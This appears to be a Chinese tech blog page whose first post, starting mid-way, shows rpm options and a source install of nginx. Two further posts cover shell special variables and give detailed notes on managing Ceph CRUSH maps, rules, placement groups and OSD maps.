--erase=<package>+ erase (uninstall) package --excludedocs do not install documentation --excludepath=<path> skip files with leading component <path> --force short hand for --replacepkgs --replacefiles -F, --freshen=<packagefile>+ upgrade package(s) if already installed -h, --hash print hash marks as package installs (good with -v) --ignorearch don't verify package architecture --ignoreos don't verify package operating system --ignoresize don't check disk space before installing -i, --install install package(s) --justdb update the database, but do not modify the filesystem --nodeps do not verify package dependencies --nofiledigest don't verify digest of files --nocontexts don't install file security contexts --noorder do not reorder package installation to satisfy dependencies --noscripts do not execute package scriptlet(s) --notriggers do not execute any scriptlet(s) triggered by this package --nocollections do not perform any collection actions --oldpackage upgrade to an old version of the package (--force on upgrades does this automatically) --percent print percentages as package installs --prefix=<dir> relocate the package to <dir>, if relocatable --relocate=<old>=<new> relocate files from path <old> to <new> --replacefiles ignore file conflicts between packages --replacepkgs reinstall if the package is already present --test don't install, but tell if it would work or not -U, --upgrade=<packagefile>+ upgrade package(s) --reinstall=<packagefile>+ reinstall package(s) Common options for all rpm modes and executables: -D, --define='MACRO EXPR' define MACRO with value EXPR --undefine=MACRO undefine MACRO -E, --eval='EXPR' print macro expansion of EXPR --macros=<FILE:...> read <FILE:...> instead of default file(s) --noplugins don't enable any plugins --nodigest don't verify package digest(s) --nosignature don't verify package signature(s) --rcfile=<FILE:...> read <FILE:...> instead of default file(s) -r, --root=ROOT use ROOT as top level directory (default: "/") --dbpath=DIRECTORY use database in DIRECTORY --querytags display known query tags --showrc display final rpmrc and macro configuration --quiet provide less detailed output -v, --verbose provide more detailed output --version print the version of rpm being used Options implemented via popt alias/exec: --scripts list install/erase scriptlets from package(s) --setperms set permissions of files in a package --setugids set user/group ownership of files in a package --setcaps set capabilities of files in a package --restore restore file/directory permissions --conflicts list capabilities this package conflicts with --obsoletes list other packages removed by installing this package --provides list capabilities that this package provides --requires list capabilities required by package(s) --info list descriptive information from package(s) --changelog list change logs for this package --xml list metadata in xml --triggers list trigger scriptlets from package(s) --last list package(s) by install time, most recent first --dupes list duplicated packages --filesbypkg list all files from each package --fileclass list file names with classes --filecolor list file names with colors --fscontext list file names with security context from file system --fileprovide list file names with provides --filerequire list file names with requires --filecaps list file names with POSIX1.e capabilities Help options: -?, --help Show this help message --usage Display brief usage message # 安装java的jdk rpm -ivh jdk-21_linux-x64_bin.rpm # 查看安装的jdk rpm -qa | grep "jdk" # 忽略依赖关系强制卸载jdk rpm -evh --nodeps jdk-21-21.0.1-12.x86_64 4. 源码安装 软件给的是C语言的源代码,需要编译成二进制,再安装。 Linux下安装软件,大型软件docker、oracle一般放/opt目录下;/usr目录一般由软件包管理器(yum、apt)来管理;/usr/local是用户级程序目录,/usr/local/src是用户级存放目录。 以安装nginx为例 # 安装依赖 yum install -y gcc pcre-devel openssl-devel 4.1 执行configure脚本 ./configure [option…] 通过选项传递参数,指定安装路径、启用特性等;执行时会参考用户的指定以及Makefile.in文件生成Makefile 检查依赖到的外部环境,如依赖的软件包 tar -xvf nginx-1.25.3.tar.gz cd nginx-1.25.3 ./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --user=nginx --group=nginx 选项说明: 选项 说明 –prefix=/usr/local/nginx 编译安装目录。如果没有指定,默认为 /usr/local/程序名 –user=nginx 所属用户nginx –group=nginx 所属组nginx –with-http_stub_status_module 该模块提供nginx的基本状态信息 –with-http_ssl_module 支持HTTPS 4.2 编译、安装 # 编译 make make 根据Makefile文件,会检测依赖的环境,进行构建应用程序 4.3 安装 # 安装 make install make install 复制文件到相应路径 4.4 操作nginx # 启动服务 /usr/local/nginx/sbin/nginx # 重新加载配置文件 /usr/local/nginx/sbin/nginx -s reload # 设置软连接 ln -s /usr/local/nginx/sbin/nginx /usr/local/sbin/ # 强制停止 nginx -s stop # 安全退出 nginx -s quit # 查看进程 ps -ef | grep nginx # 测试 curl 127.0.0.1 4.5 创建服务器 编写配置文件 # 编写配置文件 vi /usr/lib/systemd/system/nginx.service # 写入这些信息 [Unit] Description=nginx After=network.target [Service] Type=forking ExecStartPre=/usr/local/nginx/sbin/nginx -t ExecStart=/usr/local/nginx/sbin/nginx ExecReload=/usr/local/nginx/sbin/nginx -s reload ExecStop=/usr/local/nginx/sbin/nginx -s quit PrivateTmp=true [Install] WantedBy=multi-user.target 使用systemctl管理nginx服务 systemctl enable nginx systemctl strat nginx systemctl status nginx </div> ...

    2023-11-14 269
  • Linux系统shell中那些特殊变量

    在Shell脚本中,$符号有多种含义,它通常用于表示变量、特殊变量或参数,今天介绍几个特殊的变量。 $0表示shell脚本文件本身 $1 ~ $n脚本的位置参数,表示脚本或函数的参数。例如,$1表示第一个参数,$2表示第二个参数,依此类推 $#传递给脚本或函数的参数个数 $@传递给脚本或函数的所有参数的列表,每个参数是一个独立的单词 $?表示上一个命令的退出状态,如果为0表示成功,非零值表示失败 $$表示当前脚本或进程的进程ID $!表示后台运行的最后一个进程的进程ID $*表示所有传递给脚本的参数列表(位置参数),并将它们作为一个单词显示 $-用于显示当前Shell的选项设置 当运行 echo $- 时,它会输出一个包含不同字母的字符串 # echo $- himBH 每个字母的含义如下: h: 启用hash命令功能,用于记住命令的路径,以加快命令的查找速度。 i: 启用Shell的交互模式。 m: 启用作业控制的多用户模式。 B: 启用通知作业完成状态的功能。 H: 启用Shell历史功能。 因此,himBH 表示这个Shell当前启用了 hash、交互模式、多用户模式、作业状态通知和历史功能。 这些选项可以根据脚本或Shell的需要进行配置 注意:$* 和 $@ 在大多数情况下表现相似,但在处理引号时有一些关键的区别。 [root@localhost]# cat b.sh && bash b.sh # 使用 "$*" 和 "$@" set -- "arg1" "arg2 with space" "arg3" echo 'Using "$*"' for arg in "$*"; do echo $arg done echo 'Using "$@"' for arg in "$@"; do echo $arg done Using "$*" arg1 arg2 with space arg3 Using "$@" arg1 arg2 with space arg3 在"$*"中,所有参数被当作单个字符串,参数之间用第一个字符(默认是空格)分隔。而在"$@"中,每个参数都被当作独立的字符串。 在实际使用中,如果希望参数原封不动的传递出去,可能更适合使用"$@",它以类似数组的方式表示传递给脚本的所有参数。 ...

    2023-11-13 206
  • Ceph中创建和管理自定义CRUSH Map笔记整理

    管理和定制CRUSH Map CRUSH和目标放置策略 Ceph 通过一种称为 CRUSH(可伸缩哈希下的受控复制)的放置算法来计算哪些osd应该持有哪些对象,对象被分配到放置组(pg), CRUSH 决定这些 放置组 应该使用哪个 osd来存储它们的对象,即 crush 决定了 pg 到 osd 的映射关系。 CRUSH的算法 CRUSH算法 使 Ceph客户端能够直接与 osd通信,这避免了集中式服务瓶颈,Ceph客户端和 osd使用CRUSH 算法高效地计算对象位置的信息,而不是依赖于一个中央查找表。 Ceph 客户端检索集群映射,并使用 CRUSH Map 从算法上确定如何存储和检索数据,通过避免单点故障和性能瓶颈,这为Ceph 集群提供了大规模的可伸缩性 CRUSH算法 的作用是将 数据统一分布在对象存储中,管理复制,并响应系统增长和硬件故障,当 新增OSD或已有OSD或OSD主机故障 时,Ceph通过CRUSH在主OSD间实现集群对象的再平衡 CRUSH Map 组件 从概念上讲,一个CRUSH map包含两个主要组件: CRUSH层次结构 这将列出所有可用的 osd,并将它们组织成树状的桶结构 CRUSH层次结构通常用来表示osd的位置,默认情况下,有一个root桶代表整个层次结构,其中包含每个OSD主机的一个主机桶 [root@clienta ~]# ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 0.09796 root default -3 0.03918 host serverc 0 hdd 0.00980 osd.0 up 1.00000 1.00000 1 hdd 0.00980 osd.1 up 1.00000 1.00000 2 hdd 0.00980 osd.2 up 1.00000 1.00000 9 hdd 0.00980 osd.9 up 1.00000 1.00000 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 up 1.00000 1.00000 4 hdd 0.00980 osd.4 up 1.00000 1.00000 5 hdd 0.00980 osd.5 up 1.00000 1.00000 -7 0.02939 host servere 6 hdd 0.00980 osd.6 up 1.00000 1.00000 7 hdd 0.00980 osd.7 up 1.00000 1.00000 8 hdd 0.00980 osd.8 up 1.00000 1.00000 OSD是树的叶子节点,默认情况下,同一个OSD主机上的所有OSD都放在该主机的桶中,可以自定义树状结构,重新排列,增加层次,将OSD主机分组到不同的桶中,表示其在不同的服务器机架或数据中心的位置 至少有一条CRUSH规则 CRUSH 规则决定了如何从这些桶中分配放置组的osd,这决定了这些放置组的对象的存储位置。不同的池可能会使用不同的CRUSH规则 CRUSH  桶类型 CRUSH 层次结构将 osd 组织成一个由不同容器组成的树,称为桶。对于大型安装,可以创建特定的层次结构来描述存储基础设施:数据中心、机架、主机和OSD设备。 通过创建一个CRUSH map规则,可以使 Ceph 将一个对象的副本放在独立服务器上的osd上,放在不同机架的服务器上,甚至放在不同数据中心的服务器上 总而言之,桶是 CRUSH层次结构中的容器或分支。osd设备是CRUSH等级中的叶子 一些最重要的桶属性有: 桶ID,这些id为负数,以便与存储设备的id区分开来 桶的名称 桶的类型,默认映射定义了几种类型,可以使用ceph osd crush dump命令检索这些类型 [root@clienta ~]# ceph osd crush dump | grep type_name "type_name": "root", "type_name": "root", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", 桶类型包括root、region、datacenter、room、pod、pdu、row、rack、chassis和host,但你也可以添加自己的类型、位于层次结构根的桶属于根类型 Ceph 在将 PG 副本映射到 osd 时选择桶内物品的算法。有几种算法可用:uniform、list、tree和straw2。每种算法都代表了性能和重组效率之间的权衡。缺省算法为straw2 Uniform(均等分配):Uniform 算法简单地将数据均匀地分配给存储集群中的 OSD(Object Storage Device)。优点是实现简单,能够提供基本的负载均衡效果。然而,它无法考虑 OSD 的实际负载情况,可能导致一些 OSD 负载过高而其他 OSD 负载较轻。 List(列表调度):List 算法根据预定义的 OSD 列表顺序来分配数据。优点是可以根据需求灵活地配置 OSD 列表,适用于特定的负载均衡需求。然而,如果 OSD 列表中的 OSD 负载不均匀,可能导致一些 OSD 过载而其他 OSD 闲置。 Tree(树状调度):Tree 算法使用树状结构来分配数据,将数据在多个层级的 OSD 中进行选择。优点是可以根据 OSD 的性能和负载情况进行智能调度,将数据分配给性能较好的 OSD。然而,实现相对复杂,需要维护和调整树状结构,适用于较大规模的负载均衡场景。 Straw2(稻草算法):Straw2 算法考虑了 OSD 的负载和权重指标,并根据这些指标计算出一个权重值,然后根据权重值来分配数据。优点是可以根据 OSD 的实时负载情况进行智能调度,将数据分配给负载较轻的 OSD。然而,计算权重值需要一定的计算资源,且可能导致数据在短时间内频繁迁移。 自定义故障和性能域 CRUSH 映射是 CRUSH算法 的 中心配置机制,可以编辑此 map 以影响数据放置并自定义CRUSH算法 配置 CRUSH 映射和创建单独的 故障域 允许 osd 和集群节点发生故障,而不会发生任何数据丢失。在问题解决之前,集群只是以降级状态运行 配置 CRUSH Map并创建单独的性能域可以减少使用集群存储和检索数据的客户机和应用程序的性能瓶颈。 定制  CRUSH Map 的典型用例 针对 硬件故障 提供额外的保护。可以配置 CRUSH Map 以匹配底层物理基础设施,这有助于减轻硬件故障的影响 默认情况下,CRUSH算法将复制的对象放置在不同主机上的osd上。可以定制CRUSH map,这样对象副本就可以跨osd放置在不同的架子上,或者放置在不同房间的主机上,或者放置在具有不同电源的不同架子上 将带有 SSD驱动器的 osd  分配给需要快速存储的应用程序使用的池,而将带有传统hdd的osd分配给支持要求较低的工作负载的池 CRUSH map可以包含多个层次结构,你可以通过不同的CRUSH规则进行选择。通过使用单独的 CRUSH 层次结构,可以建立单独的性能域。例如,CRUSH 可以为 hdd 创建一个层次结构,为 ssd 创建另一个层次结构 配置单独性能域的用例示例如下: 分离虚拟机使用的块存储和应用使用的对象存储 将包含不经常访问的数据的“冷”存储区与包含经常访问的数据的“热”存储区分开 一个实际的CRUSH map定义,它包含: 所有可用物理存储设备的列表 所有基础设施桶的列表,以及每个桶中存储设备或其他桶的id。请记住,bucket是基础结构树中的容器或分支,例如,它可能表示一个位置或一块物理硬件 将pg映射到osd的CRUSH规则列表 其他CRUSH可调参数及其设置的列表 集群安装过程部署一个默认的CRUSH映射,可以使用ceph osd crush dump命令打印JSON格式的crush map。你也可以导出映射的二进制副本,并将其反编译为文本文件: [ceph: root@node /]# ceph osd getcrushmap -o ./map.bin [ceph: root@node /]# crushtool -d ./map.bin -o ./map.txt 自定义OSD CRUSH设置 CRUSH Map包含集群中所有存储设备的列表。对于每台存储设备,已获取如下信息: 存储设备的ID 存储设备的名称 存储设备的权重,通常以tb为单位。 例如,4tb的存储设备重量约为4.0。这是设备可以存储的相对数据量,CRUSH算法使用这一数据来帮助确保对象的均匀分布 host serverc { id -3 # do not change unnecessarily id -4 class hdd # do not change unnecessarily # weight 0.039 alg straw2 hash 0 # rjenkins1 item osd.0 weight 0.010 item osd.1 weight 0.010 item osd.2 weight 0.010 item osd.9 weight 0.010 } 可以通过ceph osd crush reweight命令设置OSD的权重。CRUSH的树桶权重应该等于它们的叶子权重的总和。 如果手动编辑 CRUSH Map权重,那么应该执行以下命令来确保CRUSH树桶的权重准确地反映了桶内叶片osd的总和 [ceph: root@node /)# ceph osd crush reweight-all reweighted crush hierarchy 存储设备的类别,存储集群支持多种存储设备,如hdd、ssd、NVMe ssd等。 存储设备的类反映了这些信息,可以使用这些信息创建针对不同应用程序工作负载优化的池。osd自动检测和设置它们的设备类。ceph osd crush set-device-class命令用于显式设置OSD的设备类。 使用ceph osd crush rm device-class 从 osd 中删除一个设备类 ceph osd crush tree命令显示crush map当前的层级: [ceph: root@clienta /]# ceph osd crush tree ID CLASS WEIGHT TYPE NAME -1 0.08817 root default -3 0.02939 host serverc 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 。 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 5 hdd 0.00980 osd.5 7 hdd 0.00980 osd.7 -7 0.02939 host servere 4 hdd 0.00980 osd.4 6 hdd 0.00980 osd.6 8 hdd 0.00980 osd.8 设备类是通过为每个正在使用的设备类创建一个“影子”CRUSH层次结构来实现的,它只包含该类设备。 然后,CRUSH规则可以在影子层次结构上分发数据。 你可以使用ceph osd crush tree –show-shadow命令查看带有影子的crush 层级` [ceph: root@serverc /]# ceph osd crush tree --show-shadow ID CLASS WEIGHT TYPE NAME -2 hdd 0.09796 root default~hdd -4 hdd 0.03918 host serverc~hdd 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 9 hdd 0.00980 osd.9 -6 hdd 0.02939 host serverd~hdd 3 hdd 0.00980 osd.3 4 hdd 0.00980 osd.4 5 hdd 0.00980 osd.5 -8 hdd 0.02939 host servere~hdd 6 hdd 0.00980 osd.6 7 hdd 0.00980 osd.7 8 hdd 0.00980 osd.8 使用ceph osd crush class create 命令创建一个新的设备类 使用ceph osd crush class rm 命令删除一个设备类 使用ceph osd crush class ls 命令列出已配置的设备类 [ceph: root@serverc /]# ceph osd crush class ls [ "hdd" ] [ceph: root@serverc /]# ceph osd crush class create ssd created class ssd with id 1 to crush map [ceph: root@serverc /]# ceph osd crush class ls [ "hdd", "ssd" ] [ceph: root@serverc /]# ceph osd crush class rm ssd removed class ssd with id 1 from crush map [ceph: root@serverc /]# ceph osd crush class ls [ "hdd" ] 使用CRUSH规则 CRUSH map还包含数据放置规则,决定如何将pg映射到osd,以存储对象副本或 erasure coded块 ceph osd crush rule ls命令在已有的规则基础上,打印规则详细信息。 ceph osd crush rule dump rule_name命令打印规则详细信息, [ceph: root@serverc /]# ceph osd crush rule ls replicated_rule ecpool [ceph: root@serverc /]# ceph osd crush rule dump ecpool { "rule_id": 1, "rule_name": "ecpool", "ruleset": 1, "type": 3, "min_size": 3, "max_size": 5, "steps": [ { "op": "set_chooseleaf_tries", "num": 5 }, { "op": "set_choose_tries", "num": 100 }, { "op": "take", "item": -1, "item_name": "default" }, { "op": "choose_indep", "num": 0, "type": "osd" }, { "op": "emit" } ] } 编译后的CRUSH map也包含规则,可能更容易阅读: [ceph: root@node /]# ceph osd getcrushmap -o . /map.bin [ceph: root@node /]# crushtool -d . /map.bin -o . /map.txt [ceph: root@node /]# cat . /map.txt . . . output omitted ... rule replicated_rule { AA id 0 BB } type replicated min_size 1 CC max_size 10 DD step take default EE step chooseleaf firstn 0 type host FF step emit GG . . . output omitted ... AA 规则的名称。使用 ceph osd pool create 命令创建池时,使用此名称来选择规则 BB 规则ID。有些命令使用规则ID而不是规则名称。例如ceph osd pool set pool-name rush_ruleset ID,为已存在的池设置规则时使用规则ID CC 如果一个池的副本数少于这个数字,那么CRUSH不选择此规则 DD 如果一个存储池的副本数超过这个数字,那么CRUSH不选择此规则 EE 接受一个桶名,并开始沿着树进行迭代。在本例中,迭代从名为default的桶开始,它是缺省CRUSH层次结构的根。对于由多个数据中心组成的复杂层次结构,可以为数据创建规则,用于强制将特定池中的对象存储在该数据中心的osd中。在这种情况下,这个步骤可以从数据中心桶开始迭代 FF 选择给定类型(host)的桶集合,并从该集合中每个桶的子树中选择一个叶子(OSD)。本例中,规则从集合中的每个主机桶中选择一个OSD,确保这些OSD来自不同的主机。 支持的类型 # types type 0 osd type 1 host type 2 chassis type 3 rack type 4 row type 5 pdu type 6 pod type 7 room type 8 datacenter type 9 zone type 10 region type 11 root 集合中桶的数量通常与池中的副本数量(池大小)相同: 如果firstn后面的数字为0,则根据池中有多少副本选择多少桶 如果桶的数量大于零,且小于池中的副本数量,则选择相同数量的桶。在这种情况下,规则需要另一个步骤来为剩余的副本绘制桶。可以使用这种机制强制指定对象副本子集的位置 如果这个数字小于零,那么从副本数量中减去它的绝对值,然后选择这个数量的桶 GG 输出规则的结果 例如,可以创建以下规则来在不同的机架上选择尽可能多的osd,但只能从DC1数据中心: rule myrackruleinDC1 { id 2 type replicated min_size 1 max_size 10 step take DC1 step chooseleaf firstn 0 type rack step emit } 使用CRUSH可调参数 还可以使用可调参数修改CRUSH算法的行为。可调项可以调整、禁用或启用CRUSH算法的特性。 Ceph在反编译的 CRUSH Map的开始部分定义了可调参数,你可以使用下面的命令获取它们的当前值: [ceph: root@clienta /]# ceph osd crush show-tunables { "choose_local_tries": 0, "choose_local_fallback_tries": 0, "choose_total_tries": 50, "chooseleaf_descend_once": 1, "chooseleaf_vary_r": 1, "chooseleaf_stable": 1, "straw_calc_version": 1, "allowed_bucket_algs": 54, "profile": "jewel", "optimal_tunables": 1, "legacy_tunables": 0, "minimum_required_version": "jewel", "require_feature_tunables": 1, "require_feature_tunables2": 1, "has_v2_rules": 0, "require_feature_tunables3": 1, "has_v3_rules": 0, "has_v4_buckets": 1, "require_feature_tunables5": 1, "has_v5_rules": 0 } 调整CRUSH可调项可能会改变CRUSH将放置组映射到osd的方式。当这种情况发生时,集群需要将对象移动到集群中的不同osd,以反映重新计算的映射。在此过程中,集群性能可能会下降。 可以使用ceph osd crush tunables profile 命令选择一个预定义的配置文件,而不是修改单个可调项。 [ceph: root@serverc /]# ceph osd crush tunables profile Invalid command: profile not in legacy|argonaut|bobtail|firefly|hammer|jewel|optimal|default osd crush tunables legacy|argonaut|bobtail|firefly|hammer|jewel|optimal|default : set crush tunables values to <profile> Error EINVAL: invalid command [ceph: root@serverc /]# [ceph: root@serverc /]# ceph osd crush tunables optimal adjusted tunables profile to optimal 将配置文件的值设置为optimal,以启用Red Hat Ceph Storage当前版本的最佳(最优)值。 CRUSH Map 管理 集群保持一个编译后的CRUSH map的二进制表示。你可以通过以下方式修改它: 使用ceph osd crush命令 提取二进制 CRUSH Map并将其编译为纯文本,编辑文本文件,将其重新编译为二进制格式,然后将其导入到集群中 通常使用ceph osd crush命令更新CRUSH Map会更容易。但是,还有一些不太常见的场景只能通过使用第二种方法来实现。 使用Ceph命令定制CRUSH Map 下面的例子创建了一个新的桶: [ceph: root@node /]# ceph osd crush add-bucket name type 例如,这些命令创建三个新桶,一个是数据中心类型,两个是机架类型: [ceph: root@node /)# ceph osd crush add-bucket DC1 datacenter added bucket DCl type datacenter to crush map [ceph: root@node /)# ceph osd crush add-bucket rackA1 rack added bucket rackAl type rack to crush map [ceph: root@node /)# ceph osd crush add-bucket rackB1 rack added bucket rackBl type rack to crush map 然后,可以使用以下命令以层次结构组织新桶 [ceph: root@node /]# ceph osd crush move name type=parent 还可以使用此命令重新组织树。例如,将上例中的两个机架桶挂载到数据中心桶上,将数据中心桶挂载到默认的根桶上 [ceph: root@node /]# ceph osd crush move rackA1 datacenter=DC1 moved item id -10 name ' rackA1' to location {datacenter=DCl} in crush map [ceph: root@node /]# ceph osd crush move rackB1 datacenter=DC1 moved item id -11 name ' rackB1' to location {datacenter=DC1} in crush map [ceph: root@node /)# ceph osd crush move DC1 root=default moved item id -9 name ' DC1' to location {root=default} in crush map ID CLASS WEIGHT TYPE NAME -1 0.09796 root default -9 0 datacenter DC1 -10 0 rack rackA1 -11 0 rack rackB1 -3 0.03918 host serverc 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 9 hdd 0.00980 osd.9 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 4 hdd 0.00980 osd.4 5 hdd 0.00980 osd.5 -7 0.02939 host servere 6 hdd 0.00980 osd.6 7 hdd 0.00980 osd.7 8 hdd 0.00980 osd.8 设置 osd 位置 在创建了自定义桶层次结构之后,将 osd 作为该树的叶子放置。每个 OSD 都有一个位置,它是一个字符串,定义从树的根到该OSD的完整路径。 例如,挂在 rackA1 桶上的 OSD 的位置为: root=default datacenter=DC1 rack=rackA1 当Ceph启动时,它使用ceph-crush-location工具来自动验证每个OSD都在正确的CRUSH位置。 如果OSD不在CRUSH Map中预期的位置,它将被自动移动。默认情况下,这是root=default host=hostname。 可以用自己的脚本替换ceph-crush-location实用程序,以更改osd在CRUSH Map中的位置。 为此,在/etc/ceph/ceph.conf中指定crush_ location_hook参数 [osd] crush_location_hook = /path/to/your/script Ceph使用以下参数执行该脚本: --cluster cluster-name --id osd-id --type osd。 脚本必须在其标准输出中以一行的形式打印位置。Ceph文档有一个自定义脚本示例,该脚本假设每个系统都有一个名为/etc/rack的包含所在机架名称的机架文件: #! /bin/sh echo "root=default rack=$(cat /etc/rack) host=$(hostname -s)" 特定osd的位置定义 可以在/etc/ceph/ceph.conf中设置crush_location参数。重新定义特定osd的位置。 例如,设置osd.0和osd.1,在文件中各自的部分中添加crush_ location参数: [osd.0] crush_location = root=default datacenter=DC1 rack=rackA1 [osd.1] crush_location = root=default datacenter=DC1 rack=rackB1 添加CRUSH Map规则 复制池 创建了一个Ceph可以用于复制池的规则: [ceph: root@node /]# ceph osd crush rule create-replicated name \ root failure-domain-type [class] 其中: Name 为规则的名称 root 是CRUSH Map层次结构中的起始节点 failure-domain-type 是用于复制的桶类型 类是要使用的设备的类,例如SSD或hdd。可选参数 下面的示例创建新的inDC2规则来在DC2数据中心存储副本,将副本分发到各个机架: [ceph: root@node /]# ceph osd crush rule create-replicated inDC2 DC2 rack [ceph: root@node /]# ceph osd crush rule ls replicated_rule erasure-code inDC2 定义规则后,在创建复制池时使用它: [ceph: root@node /]# ceph osd pool create myfirstpool 50 50 inDC2 pool 'myfirstpool' created 纠删码池 对于erasure code,Ceph自动为您创建的每个erasure code池创建规则。规则的名称为新池的名称。 Ceph使用您在创建池时指定的erasure code配置文件中定义的规则参数 下面的例子首先创建新的myprofile erasure code配置文件,然后基于这个配置文件创建myecpool池: [ceph: root@node /]# ceph osd erasure-code-profile set myprofile \ k=2 m=1 crush-root=DC2 crush-failture-domain=rack crush-device-class=ssd [ceph: root@node /)# ceph osd pool create myecpool 50 50 erasure myprofile [ceph: root@node /]# ceph osd crush rule ls 通过编译二进制版本自定义CRUSH Map 你可以用以下命令来反编译和手动编辑CRUSH Map: ceph osd getcrushmap和ceph osd setcrushmap命令提供了一种备份和恢复集群CRUSH Map的有效方法 优化放置组PG 放置组(pg)允许集群通过将对象聚合到组中以可伸缩的方式存储数百万个对象。根据对象的ID、池的ID和池中放置组的数量将对象组织成放置组。 在集群生命周期中,pg个数需要根据集群布局的变化进行调整 CRUSH 试图确保对象在池中osd之间的均匀分布,但也存在pg变得不平衡的情况。 放置组自动缩放器可用于优化PG分发,并在默认情况下打开。如果需要,还可以手动设置每个池的pg数量 对象通常是均匀分布的,前提是池中比osd多一个或两个数量级(十个因子)的放置组。 如果没有足够的pg,那么对象的分布可能会不均匀。 如果池中存储了少量非常大的对象,那么对象分布可能会变得不平衡 配置pg,以便有足够的对象在集群中均匀分布。如果 pg的数量设置过高,则会显著增加CPU和内存的使用。Red Hat建议每个OSD大约100到200个放置组来平衡这些因素 计算放置组的数量 对于单个池的集群,可以使用以下公式,每个OSD 100个放置组 Total PGs = (OSDs * 100)/Number of replicas Red Hat推荐使用每个池计算Ceph放置组,https://access.redhat.com/labs/cephpgc/manual/ 手动映射PG 使用 ceph osd pg-upmap-iterns 命令手动将pg映射到指定的osd,因为以前的Ceph客户端不支持,所以必须配置ceph osd set-require-min-compat-client启用pg-upmap命令 [ceph: root@node /]# ceph osd set-require-min-compat-client luminous 下面的例子将PG 3.25从ODs 2和0映射到1和0: [ceph: root@node /]# ceph pg map 3.25 osdmap e384 pg 3.25 (3.25) -> up [2,0) acting [2,0) [ceph: root@node /]# ceph osd pg-upmap-items 3.25 2 1 set 3.25 pg_ upmap items mapping to [2->1) [ceph: root@node /]# ceph pg map 3.25 osdmap e387 pg 3.25 (3.25) •> up [1,0) acting [1,0) 以这种方式重新映射数百个pg是不现实的 osdmaptool 命令在这里很有用,它获取一个池的实际 Map,分析它,并生成ceph osd pg-upmap-items命令来运行一个最优分布: 将映射导出到一个文件,下面的命令将映射保存到./om文件: [ceph: root@node /]# ceph osd getmap -o ./om got osdmap epoch 387 使用osdmaptool命令的--test-map-pgs选项显示pg的实际分布。打印ID为3的池的分布信息: [ceph: root@node /]# osdmaptool ./om --test-map-pgs --pool 3 osdmaptool: osdmap file './om' pool 3 pg_num 50 #osd count first primary c wt wt osd.0 34 19 19 0.0184937 1 osd.1 39 14 14 0.0184937 1 osd.2 27 17 17 0.0184937 1 ... output omitted . .. 输出显示了osd.2只有27个PG而osd.1有39 PG 生成重新平衡pg的命令。 使用osdmaptool命令的--upmap选项将命令存储在一个文件中: [ceph: root@node /]# osdmaptool ./om --upmap ./cmds.txt --pool 3 osdmaptool: osdmap file './om' writing upmap command output to: ./cmds.txt checking for upmap cleanups upmap, max-count 100, max deviation 0.01 [ceph: root@node /]# cat ./cmds.txt ceph osd pg-upmap-items 3.1 0 2 ceph osd pg-upmap-items 3.3 1 2 ceph osd pg-upmap-items 3.6 0 2 ... output omitted ... 执行命令: [ceph: root@node /]# bash ./cmds.txt set 3.1 pg upmap items mapping to [0->2] set 3.3 pg upmap_items mapping to [1->2] set 3.6 pg_upmap_items mapping to [0->2] ... output omitted ... 2管理OSD Map 描述OSD Map 集群OSD map包含每个OSD的地址、状态、池列表和详细信息,以及OSD的接近容量限制信息等。Ceph使用这些最后的参数来发送警告,并在OSD达到满容量时停止接受写请求 当集群的基础设施发生变化时,比如 osd 加入或离开集群,MONs 会相应地更新相应的映射。Mons保持着map修订的历史。 Ceph使用一组被称为epoch的有序增量整数来标识每个map的每个版本 ceph status -f json-pretty 命令显示每个 map 的 epoch。使用ceph map dump子命令显示每个单独的映射,例如 ceph osd dump [ceph: root@clienta /]# ceph status -f json-pretty { "fsid": "2ae6d05a-229a-11ec-925e-52540000fa0c", "health": { "status": "HEALTH_OK", "checks": {}, "mutes": [] }, "election_epoch": 48, "quorum": [ 0, 1, 2, 3 ], "quorum_names": [ "serverc.lab.example.com", "clienta", "serverd", "servere" ], "quorum_age": 1961, "monmap": { "epoch": 4, "min_mon_release_name": "pacific", "num_mons": 4 分析OSD Map更新 每当有 OSD 加入或离开集群时,Ceph 都会更新 OSD 的map。一个OSD可以因为OSD故障或硬件故障而离开 Ceph 集群 虽然整个集群的分布式映射(map)由监控器(MONs)来维护,但是对象存储设备(OSD)并不使用监控器的领导者(leader)来管理存储器的映射。 相反,OSD之间会直接交换它们所持有的映射,并且每次交换都会标记(epoch)出来。当一个 OSD 检测到自己的运行速度落后时,会触发对其对等 OSD 执行映射的更新,以确保所有的 OSD 都具有最新的映射信息。 在大的集群中,OSD map更新频繁,所以总是分发完整的map是不现实的。相反,接收 OSD 的节点执行增量映射更新 Ceph 还将 osd 和客户端之间的消息标记为epoch。每当客户端连接到OSD时,OSD就会检查 epoch。 如果 epoch 不匹配,那么OSD将响应正确的增量,以便客户机可以更新其OSD映射。这就不需要主动传播,因为客户端只有在下一次联系时才会了解更新后的映射 使用Paxos更新集群Map 要访问Ceph集群,客户机首先要从MONs获取集群映射的副本。为了使集群正常运行,所有的MONs必须具有相同的集群映射。 MONs使用Paxos算法作为一种机制来确保它们对集群状态达成一致。Paxos是一种分布式共识算法。 每当MON修改map时,它就通过Paxos将更新发送给其他监视器。Ceph只有在大多数监控器都同意更新后才会提交新版本的map。 MON向Paxos提交map更新,只有在Paxos确认更新后才将新版本写入本地键值存储。读操作直接访问键值存储。 OSD Map 传播 osd 定期向监控器报告其状态。此外,OSD还可以通过交换心跳来检测对等体的故障,并将故障报告给监视器。 当leader监视器得知OSD出现故障时,它会更新Map,增加epoch,并使用 Paxos 更新协议通知其他监视器,同时撤销它们的租约。 在大多数监控器确认更新后,集群有了仲裁,leader 监控器发出新的租约,以便监控器可以分发更新的OSD映射。 OSD Map命令管理员使用以下命令管理 OSD Map: 命令 动作 ceph osd dump 将OSD映射转储到标准输出 ceph osd getmap -o binfile 导出当前映射的二进制副本 osdmaptool --print binfile 在标准输出中显示人类可读的映射副本 osdmaptool --export-crush crushbinfile binfile 从OSD map 中提取CRUSH map osdmaptool --import-crush crushbinfile binfile 嵌入一个新的CRUSH map osdmaptool --test-map-pg pgid binfile 验证给定PG的映射 ...

